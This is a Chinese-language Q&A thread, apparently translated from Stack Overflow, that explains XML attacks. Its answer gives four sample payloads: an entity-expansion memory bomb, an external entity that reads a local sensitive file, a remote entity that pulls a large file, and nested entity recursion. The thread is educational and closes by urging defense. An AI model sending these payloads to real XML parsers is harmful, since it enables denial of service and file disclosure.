xml漏洞

时间:2009-12-15 11:51:34

标签: xml security

xml一直是面向服务的应用程序(SOA)的支柱,它将在未来成为一个有用的应用程序。 由于xml简单易用,易于攻击,攻击者可以将其用于自己的目的。 因此,一些攻击是强制解析攻击,xml外部实体(XEE)攻击,xml dos(xdos)攻击,xml炸弹。
任何人都可以详细讲述这些攻击 怎么能在一个系统中实际模拟这些攻击呢?

1 个答案:

答案 0 :(得分:19)

首先,我们需要区分攻击的效果与被利用的功能

可以利用的XML的特定功能是

  • XML实体
  • 解析器和验证器的专有扩展
  • 循环/递归参考
  • 远程访问

效果可以是

  • DOS
  • 信息披露

我认为没有“炸弹”的定义,但它指的是特别“紧凑”且“扩展”的攻击。 “强制解析攻击”利用XML模型的本质来压倒解析器。

以下示例摘自XML Denial of Service Attacks and Defenses。 另外,如果你懂法语,请阅读优秀杂志“La security des web services”。

示例1

使用导致DOS的实体的炸弹,因为它耗尽了内存

<?xml version="1.0"?>
<!DOCTYPE kaboom [
  <!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>

如果您有50'000“aaaa ... aaa”和50'0000 &a:&a;...&a;,则200KB的有效负载会在内存中扩展到2GB以上

示例2

可以使用实体以未经授权的方式访问另一个文件。这导致了信息披露。

<?xml version="1.0"?>
<!DOCTYPE letter [
     <!ENTITY file SYSTEM "/sensitive.txt" >
]>
<tag> &file; </tag>

示例3

使用某些解析器访问远程资源的能力(参见http://www.ibm.com/developerworks/xml/library/x-tipgentity.html),现在看看如果文件bigfile.xml是2GB会发生什么。这可能会导致DOS。

<?xml version="1.0"?>
<!DOCTYPE letter [
     <!ENTITY file  SYSTEM "http://www.mysite.com/bigfile.xml" >
]>
<tag> &file; </tag>

示例4

这种递归会导致内存耗尽,可能是DOS。

<!ENTITY companyname "Contoso Inc.">
<!ENTITY divisionname "&companyname; Web Products Division">

如果这是学校作业,那么您还应该考虑如何保护自己免受此类攻击。